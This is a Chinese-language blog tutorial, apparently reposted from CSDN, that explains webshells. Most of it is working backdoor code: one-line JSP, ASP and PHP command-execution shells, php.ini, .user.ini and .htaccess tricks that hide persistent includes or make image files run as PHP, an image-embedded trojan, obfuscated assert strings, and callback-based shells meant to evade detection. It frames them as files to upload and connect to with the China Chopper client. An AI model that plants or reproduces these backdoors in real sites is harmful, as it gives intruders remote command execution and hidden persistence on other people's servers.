个人对于webshell的理解

0x001.前言简介

webshell是以asp、php、jsp等网页文件形式存在的一种命令执行环境,也称其为一种网页后门。一般说来,当Hacker入侵一个网站后,会把这些asp、php木马的后门文件放在该网站的web目录中,和正常的网页文件混杂,其命名可能和正常的文件命名很类似,让人无法第一眼通过文件名判断其为后门文件。然后呢,他就可以利用web请求的方式,用asp或者php木马后门控制网站服务器,包括上传下载文件、查看数据库、执行任意程序命令等一系列操作。
实际的木马后门控制界面

0x002.webshell的分类

a.根据文件大小分类:大马和小马(通常指的是一句话木马,能够使用菜刀这类工具去直接连接它)
b.根据脚本名称分类:jsp、asp、aspx、php
jsp的简单的webshell:

<%Runtime.getRuntime().exec(request.getParameter("i"));%>

asp的简单的webshell:

success!!!!<%eval request("cmd")%>

php的简单的webshell:

<?php
    $a=exec($_GET["input"]);
    echo $a;
?>

0x003.webshell的原理

  1. 可执行脚本
    a.HTTP数据包($_GET$_POST$_COOKIES$_SERVER[args]等)
  2. 数据传递
  3. 执行传递的数据
    a.直接执行(eval、system、passthru等)
    b.文件包含执行(include、require等)
    c.动态函数执行($a="phpinfo";$a();)
    d.Curly Syntax执行(${‘ls’})
    e.preg_replace(第一个参数存在’/e’)
    f.ob_start函数
    g.回调函数(array_map等)
    h.反序列化(unserialize等)

0x004.webshell常见的类型

1.php.ini隐藏后门

auto_prepend file="/tmp/caidao.php"
auto_append file="/tmp/caidao.php"

这两种都是相当于在php脚本头部include。
注:auto_prepend_file 与 auto_append_file 只能require一个php文件,但在这个php文件内可以require多个其他的php文件。
2..htaccess构成php后门

<FilesMatch "abc.jpg">//上传特定的文件只把它解析成为php

SetHandler application/x-httpd-php

</FilesMatch>
 php_flag engine 1
1、AddHandler(AddHander php5-script .logs)
2、AddType application/x-httpd-php .png
3、SetHandler(<FilesMatch “_php.gif”>SetHandler application/x-httpd-php</FilesMatch>)
4、php_value auto_append_file /tmp/caidao.php

3.user.ini隐藏后门(不需重启)
除了主php.ini之外,PHP还会在每个目录下扫描ini文件,从被执行的PHP文件所在目录开始一直上升到web根目录($_SERVER[‘DOCUMENT_ROOT’] 所指定的)。如果被执行的PHP文件在web根目录之外,则只扫描该目录。利用方式与php.ini相似。

auto_prepend_file="/tmp/caidao.php"  相当于在php脚本头部include
auto_append_file="/tmp/caidao.php"   相当于在php脚本底部include

4.PHP代码开始标志缩写
将php.ini的short_open_tag参数设为On

<?=($_=@$_GET[2]).@$_($_GET[1])?>

5.图片木马

<?php
    $wp__theme_icon=create_function('',file_get_contents('hacker.gif'));
    $wp__theme_icon();
?>

注:这种方法不允许图片中有非法数据

0x005.webshell的编写

  1. 执行系统命令函数
    a.exec,shell_exec
    b.passthru,system
    举一个例子:
<?php
    exec($_GET['input']);
?>

http://localhost/test/exec.php?input=whoami
这里写图片描述
2. 执行php语句函数
a.eval,assert
b.ob_start
举例:

<?php
    $a = $_GET['i1'];
    ob_start($a);
    echo $_GET['i2'];
    ob_end_flush();
?>

上传后,利用菜刀连接就行。

  1. 混淆代码
    a.利用注释符 /**/
    b.利用 . 连接号
    c.利用()
    d.编码函数
    举例:
<?php  
    $b = “a”.“s”.“s”.“e”.“r”.“t”;$b($_GET[‘a’]);     
?>

5.免杀shell
a.php中call_user_func是执行回调函数的标准方法,是一个比较老的后门:

call_user_func('assert', $_REQUEST['pass']);

assert直接作为函数使用,然后$_REQUEST[‘pass’]作为assert的参数调用;(php版本低)
call_user_func_array(‘assert’, array($_REQUEST[‘pass’]));(php版本低)
b.uksort()函数:通过用户自定义的比较函数对数组按键名进行排序。

uksort函数的定义
c.assert()函数:在5.4.8版本之后,增加了参数descript。该参数可回调。bool assert ( mixed $assertion [, string $description ] )

<?php
    $a = $_REQUEST['a'];
    $arr = array('haha' => 88, $_REQUEST['ok'] => 88);
    uksort($arr, $a);
?>

大概的基本上就是这些内容,对于未提及的需要继续加深学习,去了解新的webshell的构造,以及后续的绕过WAF的编写,就这样吧!

猜你喜欢

转载自blog.csdn.net/mid_you/article/details/80737623